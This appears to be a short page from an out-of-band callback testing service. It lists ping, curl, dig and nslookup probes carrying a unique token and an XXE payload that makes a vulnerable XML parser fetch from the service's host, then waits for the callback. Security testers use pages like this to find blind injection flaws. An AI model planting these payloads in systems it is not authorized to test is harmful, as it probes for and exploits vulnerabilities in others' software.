$ ping -c1 -p 00f4bc49ba9a74ce2352a55c024f3f00 unhack.ca
 
$ curl http://unhack.ca/p/f4bc49ba9a74ce2352a55c024f3f
 
$ dig f4bc49ba9a74ce2352a55c024f3f @unhack.ca
 
$ dig f4bc49ba9a74ce2352a55c024f3f.ns.unhack.ca
 
C:\> nslookup f4bc49ba9a74ce2352a55c024f3f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f4bc49ba9a74ce2352a55c024f3f">]>
    <foo>&xxe;</foo>
Waiting for ping...